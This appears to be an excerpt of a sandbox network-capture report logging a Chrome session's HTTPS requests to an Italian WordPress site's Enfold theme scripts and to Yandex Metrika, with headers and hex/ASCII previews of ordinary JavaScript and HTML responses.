2025-01-09 12:19:29 UTC	8168	IN	Data Raw: 6c 3d 6e 28 62 2c 22 73 65 74 74 69 6e 67 73 2e 73 62 70 22 29 3b 63 2e 77 62 3d 65 3b 69 66 28 6c 29 7b 76 61 72 20 6d 3d 7b 7d 3b 63 2e 64 61 74 61 3d 41 28 7b 7d 2c 6c 2c 28 6d 2e 63 3d 64 2e 69 64 2c 6d 29 29 7d 72 65 74 75 72 6e 20 68 2e 6c 65 6e 67 74 68 3f 0a 6b 71 28 61 2c 66 2c 67 2c 62 2c 6b 2c 63 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 71 28 61 2c 68 2c 67 2c 66 2c 6b 2c 63 29 7d 2c 42 29 3a 28 65 28 32 29 2c 4c 2e 72 65 73 6f 6c 76 65 28 29 29 7d 66 75 6e 63 74 69 6f 6e 20 68 71 28 61 29 7b 76 61 72 20 62 3d 61 66 28 61 29 3b 61 3d 79 28 42 6a 2c 4a 63 28 5b 22 69 50 68 6f 6e 65 22 2c 22 69 50 61 64 22 5d 29 29 28 61 29 3b 72 65 74 75 72 6e 20 62 3f 6d 71 3a 61 3f 6e 71 3a 5b 5d 7d 66 75 6e 63 74 69 6f 6e Data Ascii: l=n(b,"settings.sbp");c.wb=e;if(l){var m={};c.data=A({},l,(m.c=d.id,m))}return h.length?kq(a,f,g,b,k,c).then(function(){return lq(a,h,g,f,k,c)},B):(e(2),L.resolve())}function hq(a){var b=af(a);a=y(Bj,Jc(["iPhone","iPad"]))(a);return b?mq:a?nq:[]}function
2025-01-09 12:19:29 UTC	4020	IN	Data Raw: 5b 66 5d 3b 69 66 28 68 29 7b 63 3d 45 28 78 28 63 2e 41 61 2c 54 71 29 2c 68 29 3b 68 3d 7b 7d 3b 76 61 72 20 6b 3d 7b 7d 2c 6c 3d 28 6b 5b 64 5d 3d 65 3f 28 68 5b 65 5d 3d 0a 63 2c 68 29 3a 63 2c 6b 29 3b 63 3d 6c 61 28 67 29 3b 65 26 26 31 3c 63 2e 6c 65 6e 67 74 68 26 26 28 6c 5b 64 5d 2e 61 63 74 69 6f 6e 46 69 65 6c 64 3d 4a 62 28 66 75 6e 63 74 69 6f 6e 28 6d 2c 70 29 7b 69 66 28 70 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6d 3b 69 66 28 22 63 75 72 72 65 6e 63 79 22 3d 3d 3d 70 29 72 65 74 75 72 6e 20 6c 2e 63 75 72 72 65 6e 63 79 43 6f 64 65 3d 67 2e 63 75 72 72 65 6e 63 79 2c 6d 3b 6d 5b 55 71 5b 70 5d 7c 7c 48 67 5b 70 5d 7c 7c 70 5d 3d 67 5b 70 5d 3b 72 65 74 75 72 6e 20 6d 7d 2c 7b 7d 2c 63 29 29 3b 72 65 74 75 72 6e 20 6c 7d 7d 7d 66 75 6e 63 74 Data Ascii: [f];if(h){c=E(x(c.Aa,Tq),h);h={};var k={},l=(k[d]=e?(h[e]=c,h):c,k);c=la(g);e&&1<c.length&&(l[d].actionField=Jb(function(m,p){if(p===f)return m;if("currency"===p)return l.currencyCode=g.currency,m;m[Uq[p]\|\|Hg[p]\|\|p]=g[p];return m},{},c));return l}}}funct

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.16	49839	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:28 UTC	664	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/menu/menu.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:28 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:28 GMT Content-Type: text/javascript Content-Length: 3874 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:28 UTC	3874	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 09 24 2e 61 76 69 61 5f 75 74 69 6c 69 74 69 65 73 20 3d 20 24 2e 61 76 69 61 5f 75 74 69 6c 69 74 69 65 73 20 7c 7c 20 7b 7d 3b 0a 09 0a 09 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 0a 20 20 20 20 7b 09 0a 09 09 20 2f 2f 61 63 74 69 76 61 74 65 73 20 74 68 65 20 73 74 69 63 6b 79 20 73 75 62 6d 65 6e 75 0a 09 09 24 2e 61 76 69 61 5f 75 74 69 6c 69 74 69 65 73 20 3d 20 24 2e 61 76 69 61 5f 75 74 69 6c 69 74 69 65 73 20 7c 7c 20 7b 7d 3b 0a 20 20 20 20 20 20 20 20 69 66 28 24 2e 61 76 69 61 5f 75 74 69 6c 69 74 69 65 73 2e 61 76 69 61 5f 73 74 69 63 6b 79 5f 73 75 62 6d 65 6e 75 29 0a 09 09 24 2e 61 76 69 61 5f 75 74 69 6c Data Ascii: (function($){ "use strict";$.avia_utilities = $.avia_utilities \|\| {};$(document).ready(function() { //activates the sticky submenu$.avia_utilities = $.avia_utilities \|\| {}; if($.avia_utilities.avia_sticky_submenu)$.avia_util

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.16	49840	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:28 UTC	727	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/notification/notification.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:28 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:28 GMT Content-Type: text/javascript Content-Length: 2996 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:28 UTC	2996	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 4d 65 73 73 61 67 65 20 42 6f 78 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 0a 20 20 20 20 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 20 20 20 20 24 2e 66 6e 2e 61 76 69 61 5f 73 Data Ascii: // -------------------------------------------------------------------------------------------// Message Box// -------------------------------------------------------------------------------------------(function($){ "use strict"; $.fn.avia_s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.16	49847	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:28 UTC	538	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconlist/iconlist.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:28 UTC	275	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:28 GMT Content-Type: text/javascript Content-Length: 685 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:28 UTC	685	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 09 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 2f 2f 20 49 63 6f 6e 6c 69 73 74 20 73 68 6f 72 74 63 6f 64 65 20 6a 61 76 61 73 63 72 69 70 74 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: (function($){ "use strict";// -------------------------------------------------------------------------------------------// Iconlist shortcode javascript// ----------------------------------------------------------------------------------------

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.16	49849	77.88.21.119	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:28 UTC	706	OUT	GET /metrika/metrika_match.html HTTP/1.1 Host: mc.yandex.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:28 UTC	1316	IN	HTTP/1.1 200 OK Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=3600 Connection: Close Content-Length: 5498 Content-Type: text/html Date: Thu, 09 Jan 2025 12:19:28 GMT ETag: "67655eba-157a" Expires: Thu, 09 Jan 2025 13:19:28 GMT Last-Modified: Fri, 20 Dec 2024 12:10:34 GMT Set-Cookie: _yasc=jPO0zmYQ6IoHUMlYZYMI9avBNRiKeJDvdJVzfvKcQGPM5MPj3IN4llsgqmymbHr1zYs=; domain=.yandex.com; path=/; expires=Sun, 07 Jan 2035 12:19:28 GMT; secure Set-Cookie: i=gTaD/EjvhW/GKVkO5Iw0SIcuK723LMdCEHuFe9D7uodpDgPghD6oGwV239a6vJ6ZYFXszON86TLsbGwz7TLgVWlG9YE=; Expires=Sat, 09-Jan-2027 12:19:28 GMT; Domain=.yandex.com; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: yandexuid=4861718441736425168; Expires=Sat, 09-Jan-2027 12:19:28 GMT; Domain=.yandex.com; Path=/; Secure; SameSite=None Set-Cookie: yashr=4971233111736425168; Path=/; Domain=.yandex.com; Expires=Fri, 09 Jan 2026 12:19:28 GMT; SameSite=None; Secure; HttpOnly Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: *
2025-01-09 12:19:28 UTC	5498	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta http-equiv="Content-Type" content="text/html;charset=UTF-8"> <meta name="viewp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.16	49848	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:28 UTC	717	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/numbers/numbers.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:29 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:28 GMT Content-Type: text/javascript Content-Length: 2974 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:29 UTC	2974	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 42 69 67 20 4e 75 6d 62 65 72 20 61 6e 69 6d 61 74 69 6f 6e 20 73 68 6f 72 74 63 6f 64 65 20 6a 61 76 61 73 63 72 69 70 74 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 0a 09 2f 2f 20 Data Ascii: // -------------------------------------------------------------------------------------------// Big Number animation shortcode javascript// -------------------------------------------------------------------------------------------(function($){//

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.16	49850	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:29 UTC	721	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfolio/portfolio.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:29 UTC	277	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:29 GMT Content-Type: text/javascript Content-Length: 11409 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:29 UTC	11409	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 41 76 69 61 20 41 4a 41 58 20 50 6f 72 74 66 6f 6c 69 6f 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 09 24 2e 61 76 69 61 5f 75 74 Data Ascii: // -------------------------------------------------------------------------------------------// Avia AJAX Portfolio// -------------------------------------------------------------------------------------------(function($){ "use strict";$.avia_ut

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.16	49851	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:29 UTC	550	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/image_hotspots/image_hotspots.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:29 UTC	275	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:29 GMT Content-Type: text/javascript Content-Length: 784 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:29 UTC	784	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 41 56 49 41 20 49 6d 61 67 65 20 48 6f 74 73 70 6f 74 73 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 09 24 2e 66 6e 2e 61 76 69 Data Ascii: // -------------------------------------------------------------------------------------------// AVIA Image Hotspots// -------------------------------------------------------------------------------------------(function($){ "use strict";$.fn.avi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.16	49852	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:29 UTC	538	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/magazine/magazine.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:29 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:29 GMT Content-Type: text/javascript Content-Length: 1782 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:29 UTC	1782	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 0a 2f 2f 20 41 56 49 41 20 4d 61 67 61 7a 69 6e 65 20 66 75 6e 63 74 69 6f 6e 20 66 6f 72 20 6d 61 67 61 7a 69 6e 65 20 73 6f 72 74 69 6e 67 0a 2f 2f 20 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 28 66 75 6e 63 74 69 6f 6e 28 Data Ascii: // -------------------------------------------------------------------------------------------// // AVIA Magazine function for magazine sorting// // -------------------------------------------------------------------------------------------(function(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.16	49854	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:29 UTC	538	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfolio/isotope.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:29 UTC	277	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:29 GMT Content-Type: text/javascript Content-Length: 49143 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
